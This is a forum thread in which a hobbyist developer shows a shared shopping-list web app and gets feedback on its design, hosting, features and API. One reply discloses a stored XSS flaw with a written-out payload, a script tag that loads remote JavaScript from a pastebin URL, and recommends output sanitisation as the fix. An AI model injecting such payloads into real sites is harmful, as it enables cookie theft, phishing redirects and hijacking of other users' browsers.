

Forum:[Hack Forums](#)

Thread: [Online Shopping List](#)

Dragosthethird - October 16, 2018, 11:21 am

Updated: I moved the site to a new host so the website loads faster. I updated the background to a more plain background rather than that shopping cart background. Adding a share function to the site to share lists with other users (No longer have to share account... I still have to add an remove function for the shared listDone)

Looking for feedback, suggestions, and possible names for a full release.

Original: My girlfriend and I had to go food shopping and she insists on having a list but each time we go out we end up splitting to get stuff quicker. Neither of us actually like to shop. So it was a pain to see what each other got without finding the other person. Well I decided to go ahead and make something that we could both update so we could know in almost real time what the other has grabbed. Well I decided to expand on the original and figured id launch a web app for the shopping list project. I don't have a name picked out.

Website URL: <http://dev.windstormmediagroup.com/shopping/>

API Documentation URL: <http://dev.windstormmediagroup.com/shopping/api/>

Looking for some feedback and suggestions to improve the project even more

Super - October 16, 2018, 2:30 pm

Great job on the site! Functionally it works great. Are you using a database on the backend to store the shopping lists and users?

Dragosthethird - October 16, 2018, 3:28 pm

(Oct 16, 2018 02:30 PM)Dynamo Wrote: [\[CITE\]](#) Great job on the site! Functionally it works great. Are you using a database on the backend to store the shopping lists and users?

Yes. Each user is assigned a "memberId" and each list only shows items added by that "memberId" Im think of possibly adding the function to share lists with other users in the future.

Nachfolger - October 16, 2018, 5:23 pm

Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

Specific complains:

- <https://prnt.sc/l6wb5n> this select box doesn't match the input styles at all
- There's no indication of what's happening, no loaders, no popups, nothing. Kinda confusing, especially trying to figure out if you added the item to your list
- I assume you're using an iFrame to mask the real URL instead of just adding the domain correctly. This isn't a complaint really, just something weird that you're doing.

If you're planning on actually marketing this website, it would be cool to see an API integrated so people can use this service within their own apps, etc.

Dragosthethird - October 16, 2018, 7:20 pm

(Oct 16, 2018 05:23 PM)Nachfolger Wrote: [\[CITE\]](#) Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

Login/Logout Buttons (Fixed)

(Oct 16, 2018 05:23 PM)Nachfolger Wrote: [\[CITE\]](#) Specific complains:

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--(fixed)

--(fixed)

--I think thats just caused by using the .tk domain to forward (No real domain yet). Will look into that and fix it.

Will look into making an API for it

Super - October 17, 2018, 10:45 am

Not hugely important because users don't really share accounts, however I still want to let you know that your site is vulnerable to script injection (persistent XSS).

You can log in with the demo account and add this as the item name, and a bunch of bugs will start crawling on your screen!

Code Bugs!<script type='text/javascript' src="https://pastebin.com/raw/JbTDESU1"></script>

XSS can be used for malicious things like using a user's CPU to mine monero, redirecting to phishing sites, stealing cookies, and more. You can fix this by sanitizing HTML chars from user input (there's a PHP function to do this). Here's what you can use to sanitize input:

https://www.w3schools.com/php/func_string_htmlentities.asp

Log in with the demo account and you'll see this:

Dragosthethird - October 17, 2018, 10:56 am

(Oct 17, 2018 10:45 AM)Dynamo Wrote: [\[CITE\]](#) Not hugely important because users don't really share accounts, however I still want to let you know that your site is vulnerable to script injection (persistent XSS).

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Did that on the localhost version and forgot to update it live. Fixed it. I actually liked the bugs script

SeriousShell - October 17, 2018, 8:42 pm

(Oct 16, 2018 05:23 PM)Nachfolger Wrote: [\[CITE\]](#) Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

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These are good criticism with regard to the software/appearance itself, but has anyone really discussed the practicality aspect? Does anyone go online to create a shopping cart when they can use a phone app/notes for shopping? Even then, physical shopping lists are still popular.

Nachfolger - October 18, 2018, 4:52 am

(Oct 17, 2018 08:42 PM)SeriousShell Wrote: [\[CITE\]](#) These are good criticism with regard to the software/appearance itself, but has anyone really discussed the practicality aspect? Does anyone go online to create a shopping cart when they can use a phone app/notes for shopping? Even then, physical shopping lists are still popular.OP gave a very legitimate reason to detest your very last claim -- Read his opening statement. I've pondered the idea of creating this myself, since my whole family always has stuff to add to our list. It would be extremely convenient to have a list for the whole family, assuming everyone is able to adapt to this digital method easily.

As I've mentioned, I think it's a good little project to add to your portfolio. I don't think this website will grow bigger than Google Keep, or any already popular alternatives; Unless OP spends time researching what other competitors don't have.

Dragosthethird - October 18, 2018, 6:40 am

(Oct 18, 2018 04:52 AM)Nachfolger Wrote: [\[CITE\]](#) OP gave a very legitimate reason to detest your very last claim -- Read his opening statement. I've pondered the idea of creating this myself, since my whole family always has stuff to add to our list. It would be extremely convenient to have a list for the whole family, assuming everyone is able to adapt to this digital method easily.

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I don't plan on this website being a huge success. Even if its just my family using this I will be happy. That was the entire point of this project was for a quick and easy way for my family to shop.

Update: Finished and added Admin Panel. Made Demo "admin" (The account is considered an admin but all admin commands will fail) I also cleaned up the code and changed the /shopping/index/ directory to just /shopping/.

To Do List:

Multiple lists per account

Item Notes (Add a note to a product)

Edit Items (Change name,quantity,ect.)

N1l0c - October 19, 2018, 1:43 am

The website is pretty slow for me. Where is your server located?

Dragosthethird - October 19, 2018, 3:53 am

(Oct 19, 2018 01:43 AM)N1l0c Wrote: [\[CITE\]](#) The website is pretty slow for me. Where is your server located?

The server that the website is currently hosted on is in the UK. Its currently being hosted on a random free host until the project is completed to the point where I would consider it production worthy. The website seems to have really random load times and even just reloading can very how fast the page loads.

N1l0c - October 19, 2018, 4:42 am

(Oct 19, 2018 03:53 AM)Dragosthethird Wrote: [\[CITE\]](#) The server that the website is currently hosted on is in the UK. Its currently being hosted on a random free host until the project is completed to the point where I would consider it production worthy. The website seems to have really random load times and even just reloading can very how fast the page loads.

If you don't need cPanel (I'm using a different server management system) you can hit me up and I'll host your website for free on my server. ?

Otherwise just keep going - it's a good project.

Dragosthethird - October 19, 2018, 10:59 am

(Oct 19, 2018 04:42 AM)N1l0c Wrote: [\[CITE\]](#) If you don't need cPanel (I'm using a different server management system) you can hit me up and I'll host your website for free on my server. ?

Otherwise just keep going - it's a good project.

Already have hosting for when it production ready. Right now just waiting for DNS to update on the domain.

Website Updates:

Multiple List Active - Now each account can create multiple shopping lists.

Admin Panel Updated - More Admin tools available still disabled for DEMO

cjbob - October 19, 2018, 8:04 pm

Man you gotta fix the load image time.

Such a minor thing programatically but it will kill usability for beta testers.

Abruptum - October 20, 2018, 5:46 am

There are allready apps which can do these things lookup "bring!" its allready pretty well build maybe you can see what you can improve.

Dragosthethird - March 12, 2019, 9:54 pm

Update: I moved the site to a new host so the website loads faster. I updated the background to a more plain background rather than that shopping cart background. Adding a share function to the site to share lists with other users (No longer have to share account... I still have to add an remove function for the shared list)

Looking for feedback, suggestions, and possible names for a full release.

Nachfolger - March 13, 2019, 6:52 am

I still think this is a cool idea. Mostly because I see practical implementations in my own daily life. Beyond that, I think the background is better than a shopping cart, but I don't think it suites the website well. In fact, I'm not a fan of the website design at all, I think bootstrap is ugly and prefer material design. As for the features, I think it would be cool to go beyond just a list, and make it more interactive and useful.

Some ideas off the top of my head:

- As you type, autocomplete/suggest products. [Could easily just base the recommendations off of previous items from the DB]
- When you add a product, an associated image could appear [Eg. <https://prnt.sc/mxble7>, better design of course]
- Based on the user location, find lowest prices for items. Something like Shopsy does.
- An API (I mentioned this before, doesn't look like it's been added)

Also, in the "Add new item" page, you misspelled quantity.

Nonetheless, it's a neat little project.

Dragosthethird - March 13, 2019, 12:08 pm

(Mar 13, 2019 06:52 AM)Nachfolger Wrote: [\[CITE\]](#) I still think this is a cool idea. Mostly because I see practical implementations in my own daily life. Beyond that, I think the background is better than a shopping cart, but I don't think it suites the website well. In fact, I'm not a fan of the website design at all, I think bootstrap is ugly and prefer material design. As for the features, I think it would be cool to go beyond just a list, and make it more interactive and useful.

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Nonetheless, it's a neat little project.

API is a work in progress. I am really just doing this in my free time so progress is slow. I planned on adding pictures and a autocomplete. Ill need to look into finding the best price based on location. I really like that idea. I also fixed the spelling error

Dragosthethird - April 8, 2019, 8:10 pm

Added:

- Added access to some of the API (Documentation is at <http://dev.windstormmediagroup.com/shopping/api/>)
- A semi-working Autocomplete when adding items (Currently in the process of adding items to the

data base so results may vary)

--The Pictures next to the item was added but is currently broken will be fixed soon.

Still need to do:

--Complete Overhaul of design

--Add more to api

--Fetch Local Prices